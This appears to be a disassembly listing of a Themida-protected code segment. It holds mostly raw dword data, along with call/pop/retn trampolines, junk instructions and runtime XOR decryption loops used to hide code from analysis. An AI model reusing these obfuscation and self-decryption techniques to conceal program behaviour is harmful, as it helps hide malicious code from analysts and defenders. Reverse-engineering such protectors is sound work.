		dd 69E46D48h, 8B60F72Eh, 1200F1BDh, 0EE806h, 0CBB60000h
		dd 990EEF2h, 55251F25h,	0B907AFB6h, 13319589h, 61590612h
		dd 0BE997B7h, 48000000h, 31DCE0F4h, 0D33F409h, 880DFD88h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 4BEDC350h, 8B6ABF72h, 12345D9Dh
		dd 0CD958B06h, 6A06122Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 8C3C353h, 0B654AC30h
		dd 8D8BD98Bh, 61231BDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 9BC35040h, 8B92CE09h,	0FC12BFD8h, 8B501933h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4CC35141h, 66F5F55Bh
		dd 0BD83FB8Bh, 6121419h, 8B840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 446C357h, 900E1D33h,	2B09BD8Bh, 0B8FC0612h, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+61217C5h]
		lea	ecx, [ebp+6124E4Bh]
		push	0
		push	eax
		call	sub_5C36D3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C36D3	proc near		; CODE XREF: Themida_:005C36CBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5C36D3	endp

; ---------------------------------------------------------------------------
		or	byte ptr [ecx+12077995h], 6
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5C36F7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C36F7	proc near		; CODE XREF: Themida_:005C36EFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx


loc_5C3705:				; CODE XREF: Themida_:005C3757j
		push	ebx
		retn
sub_5C36F7	endp

; ---------------------------------------------------------------------------
		lahf
		popa
		mov	ah, 0B0h
		push	0FFFFFF8Bh
		mov	ebp, 6121885h
		push	edx
		mov	ebx, [ebp+61214EDh]
		pop	edi
		cmp	dword ptr [ebp+6120011h], 0
		jz	loc_5C3B86
		mov	bx, 505Eh
		cmp	dword ptr [ebp+6120011h], 1
		jz	loc_5C3BA1
		push	0
		push	eax
		call	sub_5C3743
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3743	proc near		; CODE XREF: Themida_:005C373Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5C3743	endp

; ---------------------------------------------------------------------------
		aaa
		aad	11h
		xchg	eax, ebx
		loop	loc_5C3705
		db	2Eh
		sbb	al, 0CDh
		cmp	dword ptr [ebp+6120011h], 3
		jbe	loc_5C3B6B
		jnp	loc_5C3775
		mov	edi, [ebp+6120061h]


loc_5C3775:				; CODE XREF: Themida_:005C3769j
		pusha
		push	0
		push	esi
		call	sub_5C3781
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3781	proc near		; CODE XREF: Themida_:005C3779p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5C3781	endp

; ---------------------------------------------------------------------------
		db 61h,	0E4h, 6Dh
; ---------------------------------------------------------------------------
		enter	0FFFF8C66h, 0D9h
		push	0
		push	ebp
		call	sub_5C37A3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C37A3	proc near		; CODE XREF: Themida_:005C379Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5C37A3	endp

; ---------------------------------------------------------------------------
		db 42h
		dd 98B5205Dh, 297D9D31h, 0E1800612h, 0F5958904h, 0E806121Ah
		dd 11h,	70B8FF28h, 8D329E87h, 7D5C16E2h, 3B1A0516h, 6800F3Fh
		dd 89000000h, 12000985h, 0C90A5F06h, 13A840Fh, 840F0000h
		dd 6, 29B98D89h, 858B0612h, 61224CDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 6BC35545h, 7FEFAFEEh, 0DE30EAA8h
		dd 8D85331Ch, 81061224h, 0D789D0D7h, 0FA8B902Ch, 4810F50h
		dd 66000000h, 901349BFh, 0EE9h,	0EEABDE00h, 19ED44EFh
		dd 572F3DC6h, 6A0F9A18h, 3800F00h, 66000000h, 0AB68DE8Bh
		dd 0E8BA6704h, 0Eh, 0F4917A8Eh,	0A7853A9Bh, 6D9920D1h
		dd 8B0FAE6Bh, 3, 5BFE8B66h, 54240481h, 8B45B7FFh, 122DEDBDh
		dd 3195FF06h, 6A061230h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0E747C351h,	0F5462A8h
		dd 68Ch, 0FEEF8100h, 89737521h,	15BD0C85h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0F8D7217Bh, 12E873h,	0B7A00000h, 0B01C437Ch,	5A5DCC62h
		dd 21991CBAh, 0BD592B05h, 25E95FF9h, 6A000002h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0B318C353h, 0BF714E27h, 21346F73h, 0BD04858Bh, 6A0615h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0F81F01C3h, 0C7F6B3h, 18h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 57C35646h, 14D7ED82h, 1D5EB118h
		dd 15BD8B8Bh, 8006121Eh, 0B58BA5C3h, 615BD08h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 51C35545h, 0FD232689h
		dd 0DE8BD515h, 2399858Bh, 9D010612h, 6121FF5h, 6A0689h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 2BD1C0C3h, 8BF1B1B5h, 1224CD85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 9CE86986h
		dd 9D8BB496h, 6122755h,	6A044689h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0E0E6C351h
		dd 8D89559Eh, 61227C5h,	502AEB80h, 6A243489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 5040C350h, 596D0723h, 25BF66DFh, 4B5FFEBh, 6A0615BDh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0FD23C355h, 0E99D8915h, 68061207h, 0C659BD6Dh
		dd 8B0Fh, 4810000h, 0C5469224h,	8DF98B39h, 15BD0C85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0E582AA6h, 4D7100A5h, 0E1BD2307h, 50061202h,	489F98Ah
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 12E92E12h, 0FC000000h, 0ABA57B70h, 22AD77CFh
		dd 1CF4D400h, 90230BB3h, 3195FF14h, 6A061230h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 5A6CC351h, 0E8A0F61h, 0E9000000h, 9,	44754F17h, 3D2493B3h
		dd 1185C7F5h, 3061200h,	89000000h, 12286DBDh, 0CBD8306h
		dd 615BDh, 0D840Fh, 81660000h, 0E9DA98CBh, 1Eh
; ---------------------------------------------------------------------------
		movsx	edi, cx


loc_5C3B6B:				; CODE XREF: Themida_:005C3763j
					; Themida_:005C3B82j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C3B6B
		jmp	short loc_5C3BBC
; ---------------------------------------------------------------------------


loc_5C3B86:				; CODE XREF: Themida_:005C3721j
					; Themida_:005C3B9Dj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C3B86
		jmp	short loc_5C3BBC
; ---------------------------------------------------------------------------


loc_5C3BA1:				; CODE XREF: Themida_:005C3732j
					; Themida_:005C3BB8j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5C3BA1
		jmp	short $+2


loc_5C3BBC:				; CODE XREF: Themida_:005C3B84j
					; Themida_:005C3B9Fj
		mov	eax, eax
		mov	[ebp+6120885h],	eax
		push	0
		push	ebx
		call	sub_5C3BCF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3BCF	proc near		; CODE XREF: Themida_:005C3BC7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5C3BCF	endp

; ---------------------------------------------------------------------------
		db 0FFh
		dd 0ECBFE44Bh, 0B9B7D35Ch, 6E88Eh, 4A520000h, 855D9970h
		dd 11BD835Fh, 3061200h,	3AE850Fh, 800F0000h, 0Ch, 6840Fh
		dd 9D8B0000h, 6121BA9h,	0BD0CBD83h, 0F000615h, 38F84h
		dd 0B5FFF500h, 615BD0Ch, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 16C35747h, 352B51E2h,	202995FFh, 6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0B58BC5C3h, 615BD00h, 6C7F88Bh, 10001h, 0AE8h, 48D4B400h
		dd 0DDF7A882h, 89311894h, 12143D9Dh, 50965F06h,	0EBB3BF66h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0CB5FF7Fh, 6A0615BDh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 7C4FC357h
		dd 0E19D8B3Bh, 0FF06122Ah, 121AE195h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 9D0BC797h, 6121EDDh,	0BD00B58Bh, 8E90615h, 84000000h
		dd 0F38A16F8h, 8B1D4676h, 12303985h, 75BD8906h,	89061217h
		dd 0C486h, 0BE800h, 0AAE90000h,	0FF9CDF80h, 0DED8818Ch
		dd 0A5B58934h, 5B061213h, 2DCD958Bh, 8F0F0612h,	5, 54DB8166h
		dd 4C2836Ah, 61606057h,	820Fh, 5F610000h, 8D205089h, 15D0EA85h
		dd 0ADBD8906h, 8906122Fh, 0B886h, 0D3B7BB00h, 6A2096h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C35747h
		dd 8546AE49h, 0C19D8B3Bh, 0FF06121Ch, 15BD0CB5h, 0E5BD8B06h
		dd 0FF061218h, 122CD595h, 35B58906h, 50061207h,	320397BBh
		dd 24348928h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	7CC35747h, 79723574h, 0D1BDB1Bh, 14F1BD8Bh, 0B5FF0612h
		dd 615BD0Ch, 1D918D01h,	95FF0612h, 6122E29h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 1CC35040h, 0E9140062h
		dd 0Fh,	0EB885BE1h, 0F770C889h,	7C69335h, 8318A5D6h, 121189BDh
		dd 840F0006h, 49h, 68C0Fh, 9D090000h, 6122895h,	8830F50h
		dd 60000000h, 66C68B66h, 8961F18Bh, 6A2434h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 63A767C3h
		dd 42B4EBE5h, 89975975h, 1207698Dh, 0CB5FF06h, 6A0615BDh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 2282C350h, 0E2A04CFh, 0AE9E7h, 31BC0000h
		dd 6212D169h, 0A73FC3E6h, 2AA595FFh, 6A0612h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B6D0BC3h
		dd 1207699Dh, 0FEBF6606h, 0CB5FF48h, 8B0615BDh,	1203B1BDh
		dd 9D8B5006h, 61227E5h,	0B195FF5Fh, 0BF06121Bh,	58BDC357h
		dd 860Fh, 0BD830000h, 6122A41h,	52840F02h, 0FC000000h
		dd 18A9858Bh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0E1DECFC3h, 8D891397h, 612296Dh
		dd 6A0000C6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 5045C357h, 3F0868FEh, 185C792h
		dd 61203h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0EB7DC356h, 13E9h, 326300h, 0BCB5DC44h
		dd 5528D221h, 0B7AEE87Bh, 0DEFE4EAAh, 0FFF3A7E9h, 1B589FFh
		dd 8B061230h, 0C19D09C1h, 8D061231h, 12006585h,	0B70F5706h
		dd 9D8B5FD8h, 6121645h,	0DD57BB50h, 4893036h, 6A006A24h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0D72CC350h, 7E7D34DDh, 8D006A3Dh,	16873285h
		dd 69850106h, 8306122Eh, 9CBB05C0h, 9047D25Ch, 0F18B5260h
		dd 61C8B55Eh, 0E8525050h, 0Eh, 0BD1F2D54h, 19AA6880h, 11969305h
		dd 8B66476Eh, 310F5FD8h, 0AE8h,	0B94CF000h, 61257305h
		dd 5BE02042h, 6A90585Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 67CCC353h, 91507EE6h
		dd 80980CF2h, 6AC0DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0FCC35747h, 6FE2FC07h, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 8F4FD1C3h, 95FFC2B2h, 6120B55h, 56C517BFh, 0CA8D8D4Dh
		dd 6A06159Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 4D5AC353h, 23720762h, 8B5CA369h
		dd 0BD3160DEh, 6122405h, 0E890Fh, 9E90000h, 1D000000h
		dd 1F2D54B9h, 0AA6880BDh, 8BD1FF61h, 1216719Dh,	0E9BD8306h
		dd 106120Eh, 0EA850Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8BE7CFC3h, 1214159Dh
		dd 89606006h, 1221F9B5h, 7E86106h, 0C7000000h, 10129E9h
		dd 13E9FAA9h, 59000000h, 3945E71Ah, 0B8AB2033h,	97C9E88Ch
		dd 0E455832Bh, 61598C11h, 0E960026Ah, 10h, 3C7276F7h, 94657D65h
		dd 0F922BCE0h, 0CCBD3324h, 2831B52Bh, 50610612h, 6896BF66h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0E06BC351h, 0BD8BF32Dh, 612285Dh
		dd 799BD31h, 95FF0612h,	6122CD5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 6C35545h, 7DB58B60h, 6006121Dh
		dd 12E8h, 72154800h, 0EF43FD19h, 0E0838803h, 80C74355h
		dd 5F4DFB12h, 61615F57h, 0DA0E9h, 0E800h, 815D0000h, 16873CEDh
		dd 6820F06h, 89000000h,	121BC9B5h, 99D8B06h, 6606122Eh
		dd 858DF88Bh, 615968Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 97C35242h, 1F98B66h, 1229C595h, 8B665006h
		dd 240489FAh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	44C35545h, 0CF81D272h, 30FF22F2h, 35FF64h, 66000000h
		dd 0BD8BDE8Bh, 61220F5h, 258964h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8003C352h, 85FFF4CBh, 6121235h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0A4C35141h,	0DE3D2F03h, 844BEB81h
		dd 0BF663F1Ah, 0FF6A8189h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0D8C35747h, 0E03A0CD4h, 0FB8B66E2h, 19B5FFF9h
		dd 8B06122Bh, 7595FFDFh, 0E9061214h, 158h, 0AE960h, 98220000h
		dd 853DEB1h, 787D3620h,	6000B061h, 13E9h, 66C5D800h, 0ECC0D07Eh
		dd 0AD69056Fh, 0E27443D4h, 0DD86677h, 8B70E661h, 122EE5BDh
		dd 8971E406h, 121CB5BDh, 0FABB6606h, 0F613C2Ah,	10F83h
		dd 71B58900h, 0F061208h, 0BAF8C8B6h, 6,	0C18BFA8Bh, 1F840Fh
		dd 0E9600000h, 12h, 349003B7h, 0C49262C6h, 43BC0F90h, 1F18ADCh
		dd 0D6813739h, 3AD5FA8Ah, 4E8C161h, 8BE2F766h, 0CE8FBh
		dd 0A96D0000h, 0C04D93Eh, 90DAEA4Ah, 9D03EEC5h,	6120F55h
		dd 8BC82B5Bh, 1200B5BDh, 0BD18B06h, 12150D9Dh, 23E906h
		dd 29600000h
		dd 120739BDh, 458D8B06h, 61061207h, 10E9h, 51E49500h, 4727A295h
		dd 0EB5FC3C6h, 10067846h, 5858B6Eh, 906122Ah, 122A2985h
		dd 7C08306h, 12E9h, 8F22C200h, 0C3675FEFh, 0C5E68C8Eh
		dd 995F41E4h, 83D5A992h, 0D98B00C0h, 830FD03Bh,	1Ch, 45E9FA8Bh
		dd 0E8000000h, 9, 460AE877h, 0D5C0AFB9h, 6DBD0374h, 5B06120Ch
		dd 2D698D8Bh, 0B5290612h, 612221Dh, 0F01E183h, 1B84h, 0A583F800h
		dd 6122D69h, 35B589FEh,	8906122Ch, 122A0595h, 0E9DF8B06h
		dd 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6160BAEh]
		push	0
		push	ebx
		call	sub_5C4491
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4491	proc near		; CODE XREF: Themida_:005C4489p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5C4491	endp

; ---------------------------------------------------------------------------
		db 0C9h, 0E3h, 95h
		dd 0D659F2ECh, 6A5F57h,	0BD9D0357h, 5B061223h, 9BBB6656h
		dd 95FF5FFDh, 61229D1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0BCC35646h, 3BE48766h, 0F037CB91h, 881B9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0ACD8CF46h, 2DC381BCh, 2947E3CEh, 1229F19Dh
		dd 0FCE18306h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0B0C35646h, 0AE658F98h,	0BB66C6EAh, 8D89120Ah
		dd 6120741h, 28ED8501h,	6AFC0612h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 1FC3C350h
		dd 6D1F5F3h, 66287F6Fh,	0E974D8BFh, 6, 27F86B07h, 0BF66863Dh
		dd 0C02B6595h, 23D19D8Bh, 0BA0612h, 0F000000h, 68Ch, 99BD0B00h
		dd 0F8061207h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0ABC35343h, 8B923D1Bh
		dd 12E9D8h, 0C30F0000h,	33DF3DB6h, 0DED0BC8Eh, 81EFD13Ch
		dd 2FFFF5D9h, 880Dh, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0BB9ADCB3h, 958B98ECh
		dd 6122DCDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	31C35747h, 0D03B45D9h, 8D8BD3B3h, 61231BDh, 5F64B753h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD8BF7C3h, 612254Dh, 19BD83F5h, 61214h, 74840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 81F04BC3h, 2C9D64D7h, 0B822h, 66510000h, 5BAD1FBBh
		dd 4E4B8D8Dh, 0BD8B0612h, 61208F1h, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E91004C3h
		dd 10h,	6A9178C7h, 0B66C6360h, 0A764D570h, 4828CF16h, 17A1BD8Bh
		dd 0BD830612h, 6120011h, 0D2840F00h, 66000003h,	83E31BBBh
		dd 120011BDh, 840F0106h, 3DCh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 7CC35141h, 51D0956Fh, 11BD8369h
		dd 3061200h, 378860Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 222E5AC3h, 1BF6603h
		dd 0BD89600Dh, 612146Dh, 7319D8Bh, 8C660612h, 57006AD9h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 2B610CB1h, 0B50B265h, 1229CDBDh, 4E18006h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D9C35545h, 40FF405Bh
		dd 4E5C1933h, 819529D8h, 0A061223h, 0F1840FC9h,	8B000000h
		dd 122DA1BDh, 0CD858B06h, 6A061224h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 847FC357h
		dd 85332194h, 612248Dh,	0D50949BFh, 6650901Dh, 900D37BFh
		dd 6A5F53h, 7519D23h, 11680612h, 60C596E8h, 7E9h, 2E52800h
		dd 0E534415h, 9E9h, 8102D900h, 897B9476h, 81611838h, 1BEE2404h
		dd 6A3A88h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 652179C3h, 10653100h, 303195FFh, 14E90612h
		dd 0B6000000h, 92D9C421h, 0DD32CEE9h, 470FA121h, 23803EBEh
		dd 891C89B7h, 15BD0C85h, 60F88A06h, 19CD8D8Bh, 0E7800612h
		dd 66E96104h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 4F4AC355h, 7F4ACBEEh
		dd 8D01DB5Dh, 6121605h,	0BD04858Bh, 6A0615h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0C7C0C3h
		dd 18h,	0B58BC2B7h, 615BD08h, 2D9D0360h, 0F806121Ah, 99858B61h
		dd 0FC061223h, 6A0689h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 733F2FC3h, 1D9D2947h, 8B06120Bh
		dd 1224CD85h, 0E7816606h, 46893F82h, 0FEBF0F04h, 50D88B96h
		dd 0BEBB6696h, 53C3816Ah, 0FF5E7970h, 15BD04B5h, 522CBB06h
		dd 0D5684092h, 0BB72DA8Ah, 9CA2905h, 2A243481h,	6672C589h
		dd 0F348E381h, 10C58D29h, 858D0612h, 615BD0Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 25C35646h, 0CB813C74h
		dd 39E2A45Dh, 0F59D3356h, 5F06122Bh, 260D9D8Bh,	50900612h
		dd 165EBF66h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 95FF0977h, 6123031h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8C35242h, 0FDB109B4h
		dd 0B59D29EBh, 8B06122Fh, 1208CD9Dh, 6A6106h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CB3244C3h
		dd 5E9h, 58952700h, 85C75AE3h, 6120011h, 3, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 2AC35242h, 1ED78166h
		dd 0CBD83F8h, 615BDh, 58840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 66F1A9C3h
		dd 0F40401E2h, 10D99D8Bh, 0F7810612h, 267499C3h, 40E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0CCFC5978h, 0BF663B37h, 30502608h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 559D8BC0h
		dd 6606121Fh, 6414D781h, 11BD83h, 0F030612h, 44285h, 81665600h
		dd 5FF98DEFh, 6E8h, 13DEF100h, 8BD88493h, 0BD835BDAh, 615BD0Ch
		dd 20840F00h, 60000004h, 8D8BCA8Bh, 6122E45h, 0CB5FF61h
		dd 660615BDh, 6F18EF81h, 202995FFh, 6A0612h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 5766CCC3h
		dd 8BA71A99h, 1221699Dh, 14E806h, 7B5D0000h, 0F970D10h
		dd 70DE3CDDh, 371E904Dh, 0C15D7D4Dh, 0BF662DA7h, 8B5B098Fh
		dd 15BD00B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 3624B688h, 80BD5309h, 6C77DEBh, 10001h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 53C35646h
		dd 9691ECE2h, 45852B60h, 906122Fh, 121455BDh, 0B70F6106h
		dd 8C0F96DFh, 15h, 0DE856h, 72400000h, 0C9753296h, 5F1B3DDAh
		dd 5BE9B5F3h, 0AE8505Bh, 31000000h, 0F2472310h,	5FDE0512h
		dd 0BE66605Ch, 8E0FCC4Dh, 0
; ---------------------------------------------------------------------------
		popa
		pop	ebx
		xchg	eax, esi
		push	0
		push	edi
		call	sub_5C4C46
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4C46	proc near		; CODE XREF: Themida_:005C4C3Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5C4C46	endp

; ---------------------------------------------------------------------------
		dw 12EFh
; ---------------------------------------------------------------------------
		pusha
		jnp	short loc_5C4C90
		push	dword ptr [ebp+615BD0Ch]
		push	0
		push	ebp
		call	sub_5C4C6C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4C6C	proc near		; CODE XREF: Themida_:005C4C64p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C4C6C	endp

; ---------------------------------------------------------------------------
		dd 95FFAB63h, 6121AE1h,	0E850006Ah, 3, 58C35820h
; ---------------------------------------------------------------------------


loc_5C4C90:				; CODE XREF: Themida_:005C4C59j
		mov	[esp+4], eax
		add	dword ptr [esp+4], 1Dh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 67h
		dd 79A75DF3h, 0B07F4706h, 859D8B4Fh, 8B061212h,	15BD00B5h
		dd 9535106h, 121B8DBDh,	8B5F5B06h, 12303985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 31D8BA5Eh, 6B33BB2Dh, 86895555h, 0C4h, 1A219D8Bh, 958B0612h
		dd 6122DCDh, 0C283F98Bh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 89254FC7h, 122A998Dh
		dd 20508906h, 0BD8BC5B7h, 6122F45h, 0D0EA858Dh,	6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 602E08C3h, 0BA3A0E87h, 0B886897Ch, 29000000h, 122315B5h
		dd 3BDBBF06h, 6A0852h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0CCC35242h, 0D3C75CA0h, 1D8D8970h, 2B06122Ch
		dd 1207299Dh, 0CB5FF06h, 0F0615BDh, 95FFFBB7h, 6122CD5h
		dd 0E9575396h, 11h, 0D8456483h,	0F8133D22h, 18C5823Fh
		dd 35E14C58h, 505F5F5Dh, 8E8h, 0DC2A4200h, 3119FEE3h, 0AE9BCh
